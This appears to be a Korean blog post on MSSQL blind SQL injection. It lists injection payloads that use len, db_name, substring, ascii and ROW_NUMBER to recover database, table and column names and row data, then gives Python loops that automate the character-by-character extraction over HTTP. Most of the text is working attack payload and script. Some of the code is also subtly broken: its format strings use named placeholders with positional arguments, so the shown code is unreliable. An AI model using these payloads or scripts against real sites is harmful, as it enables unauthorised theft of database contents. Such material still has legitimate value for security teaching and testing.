[Web] Blind SQL Injection using Python

silver35·2023년 4월 16일
3

Web

목록 보기
5/5

MSSQL 데이터베이스를 기준으로 Python으로 Blind SQL Injection 공격을 통해 데이터베이스명 길이, 데이터베이스명, 테이블명, 컬럼명, 데이터를 추출하는 코드를 작성하였다.

MSSQL Blind SQL Injection 구문

참과 거짓 구문 확인

(1) 항상 참인 구문
{검색 가능한 문자열}' and ((case when len('silver35')=8 then '1' else 0 end)='1') and '1%'='1

(2) 항상 거짓인 구문
{검색 가능한 문자열}' and ((case when len('silver35')=1 then '1' else 0 end)='1') and '1%'='1

데이터베이스명 길이 확인

아래 구문은 내장함수인 len(), db_name()을 이용해 데이터베이스명 길이를 1씩 늘려가면서 참이면 검색 결과가 나오며 거짓이면 검색결과가 나오지 않는 것으로 데이터베이스명 길이를 추출할 수 있다.

{검색 가능한 문자열}' and ((case when len(db_name())={데이터베이스명 길이} then '1' else 0 end)='1') and '1%'='1

데이터베이스명 확인

데이터베이스명을 확인 시 문자열에서 특정 위치의 문자를 추출하는 SUBSTRING() 함수를 이용한다. {문자열 추출을 시작할 위치}를 1~데이터베이스명 길이까지 지정하여 {문자}를 추출한다. {문자}에는 아스키코드에 해당하는 32(SP)~126(~)까지를 의미한다.

[검색 가능한 문자열]' and ((case when ascii(substring(db_name(),{문자열 추출을 시작할 위치},1))={문자} then '1' else 0 end)='1') and '1%'='1

테이블명 확인

테이블명을 추출할 때는 데이터베이스명과 다르게 여러개가 존재하기 때문에 ROW_NUMBER() 함수를 통해 각 행에 일련 번호를 부여해야한다. 또한, subquery라는 임시 테이블을 생성하여 row_num=1인 table_name열을 추출해야한다.

SELECT table_name
FROM (
  SELECT table_name, 
         ROW_NUMBER() OVER (ORDER BY table_name ASC) AS row_num
  FROM information_schema.tables
) subquery
WHERE row_num = 1;

따라서, 테이블 추출 구문은 아래와 같다.

[검색 가능한 문자열]' and ((case when ascii(substring((SELECT table_name FROM (SELECT table_name, ROW_NUMBER() OVER (ORDER BY table_name ASC) AS row_num FROM information_schema.tables) subquery WHERE row_num = {추출하고자하는 테이블명 번호}),{문자열 추출을 시작할 위치},1)) = {문자} then '1' else 0 end )='1') and '1%' = '1

컬럼명 확인

컬럼명을 추출할 때도 테이블명 추출과 똑같이 ROW_NUMBER() 함수를 통해 각 행에 일련 번호를 부여한다. 그 후, 추출하고자 하는 테이블명에 컬럼명을 검색한다.

SELECT column_name
FROM (
	SELECT column_name,
				 ROW_NUMBER() OVER (ORDER BY column_name ASC) AS row_num,
				 table_name
	FROM information_schema.columns
	WHERE table_name = '[테이블명]'
) subquery
WHERE row_num = 1;

따라서, 컬럼명 추출 구문은 아래와 같다.

[검색 가능한 문자열]' and ((case when ascii(substring((SELECT column_name FROM (SELECT column_name,ROW_NUMBER() OVER (ORDER BY column_name ASC) AS row_num,table_name FROM information_schema.columns WHERE table_name = '[테이블명]') subquery WHERE row_num = {추출하고자하는 컬럼명 번호}),{문자열 추출을 시작할 위치},1)) = {문자} then '1' else 0 end )='1') and '1%' = '1

데이터 추출

데이터 추출 시 컬럼명 추출과 똑같이 ROW_NUMBER() 함수를 통해 각 행에 일련번호를 부여해 substring() 내장함수를 이용해 한글자씩 추출한다.

[검색 가능한 문자열]' and ((case when ascii(substring((SELECT [컬럼명] FROM (SELECT [컬럼명],ROW_NUMBER() OVER (ORDER BY [컬럼명]) AS row_num FROM [테이블명]) subquery WHERE row_num = 1),{문자열 추출을 시작할 위치},1)) = {문자} then '1' else 0 end )='1') and '1%' = '1

파이썬을 이용한 Blind SQL Injection 자동화 공격 코드

코드는 윈도우 기준으로 작성하였으며 맥으로 실행 시 proxy 설정 없이 진행할 수 있다.

데이터베이스명 길이 및 데이터베이스명 추출

아래 코드는 데이터베이스 길이를 구한 후 데이터베이스 길이만큼 반복해 아스키코드로 32~126까지 한글자 씩 비교하면서 데이터베이스명을 추출한다.

while True:
    payload = "[검색 가능한 문자열]' and ((case when len(db_name())={데이터베이스명 길이} then '1' else 0 end)='1') and '1%'='1".format(DB_Length)
    paylaod = payload.encode('utf-8')
    data = {"_JSON_": payload}
    r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
    if "[검색 가능한 문자열]" in r.text:
        break

    DB_Length += 1

print("\033[92m"+"[*] Database length:",DB_Length)

for i in range(1,DB_Length+1):
    for k in range(32,127) :
        payload = "[검색 가능한 문자열]' and ((case when ascii(substring(db_name(),{문자열 추출을 시작할 위치},1))={문자} then '1' else 0 end)='1') and '1%'='1".format(i,k)
        paylaod = payload.encode('utf-8')
        data = {"_JSON_": payload}
        r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)

        if "[검색 가능한 문자열]" in r.text:
            DB_Name += chr(k)
            break

print("[*] Database name:",DB_Name)

테이블명, 컬럼명, 데이터 추출

테이블명과 컬럼명과 데이터명은 row_num을 1씩 늘리는 것을 반복하면서 한 행씩 출력하면 된다. 이때 주의해야할 것은 flag 변수를 설정해 문자열의 끝을 확인해야한다는 것이다. 대부분의 데이터베이스 관리 시스템은 NULL 문자를 문자열의 끝으로 사용하고 있지만 데이터베이스 방식에 따라 NULL 문자 이외의 다른 문자를 문자열의 끝으로 사용할 수 있다. 따라서, 문자열의 끝을 NULL 문자가 아닌것을 가정해 아스키코드인 32~126까지 비교했을 때 모두 값이 거짓이면 문자열의 끝이라고 판단해 flag=1로 설정해 반복문을 종료 시켰다.

# 테이블 명 구하기
for j in range(1,1000):
    for i in range(1,100):
        for k in range(32,127) :
            # 문자열 확인
            payload = "[검색 가능한 문자열]' and ((case when ascii(substring((SELECT table_name FROM (SELECT table_name, ROW_NUMBER() OVER (ORDER BY table_name ASC) AS row_num FROM information_schema.tables) subquery WHERE row_num = {추출하고자하는 테이블명 번호}),{문자열 추출을 시작할 위치},1)) = {문자} then '1' else 0 end )='1') and '1%' = '1".format(j,i,k)
            paylaod = payload.encode('utf-8')
            data = {"_JSON_": payload}
            r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
            time.sleep(0.1)
            if "[검색 가능한 문자열]" in r.text:
                TABLE_Name += chr(k)
                break
            # 문자열의 끝인지 확인
            if (k==126):
                Flag = 1  
        if(Flag == 1):
            break
    print("["+str(j)+"]table name:",TABLE_Name)
    Flag = 0
    # 테이블명 초기화
    TABLE_Name =""


# 컬럼 명 구하기
for j in range(1,50):
    for i in range(1,100):
        for k in range(32,127) :
            # 문자열 확인
            payload = "[검색 가능한 문자열]' and ((case when ascii(substring((SELECT column_name FROM (SELECT column_name,ROW_NUMBER() OVER (ORDER BY column_name ASC) AS row_num,table_name FROM information_schema.columns WHERE table_name = '[테이블명]') subquery WHERE row_num = {추출하고자하는 컬럼명 번호}),{문자열 추출을 시작할 위치},1)) = {문자} then '1' else 0 end )='1') and '1%' = '1".format(j,i,k)
            paylaod = payload.encode('utf-8')
            data = {"_JSON_": payload}
            r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
            time.sleep(0.1)
            if "[검색 가능한 문자열]" in r.text:
                print(chr(k))
                COLUMN_Name += chr(k)
                break
            # 문자열의 끝인지 확인
            if (k==126):
                Flag = 1  
        if(Flag == 1):
            break
    print("["+str(j)+"]column name:",COLUMN_Name)
    Flag = 0
    # 컬럼명 초기화
    COLUMN_Name =""

#데이터 추출하기
for j in range(1,1000):
    for i in range(1,100):
        for k in range(32,127) :
            # 문자열 확인
            payload = "[검색 가능한 문자열]' and ((case when ascii(substring((SELECT [컬럼명] FROM (SELECT [컬럼명],ROW_NUMBER() OVER (ORDER BY [컬럼명]) AS row_num FROM [테이블명]) subquery WHERE row_num = {추출하고자하는 데이터 번호}),{문자열 추출을 시작할 위치},1)) = {문자} then '1' else 0 end )='1') and '1%' = '1".format(j,i,k)
            paylaod = payload.encode('utf-8')
            data = {"_JSON_": payload}
            r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
            time.sleep(0.1)
            if "[검색 가능한 문자열]" in r.text:
                print(chr(k))
                Data += chr(k)
                break
            # 문자열의 끝인지 확인
            if (k==126):
                Flag = 1  
        if(Flag == 1):
            break
    print("["+str(j)+"]Data:",Data)
    Flag = 0
    # 데이터 초기화
    Data =""

전체 코드는 아래에 업로드 해놓았다.
https://github.com/cseswu17/Blind-SQL-Injection

참고자료)
아래는 데이터베이스 구축 없이 SQL 구문을 실행해볼 수 있는 사이트이다. MSSQL, MYSQL, ORACLE 모두 지원하니 SQL 구문 확인시 유용하게 사용할 수 있다.
https://sqltest.net/

0개의 댓글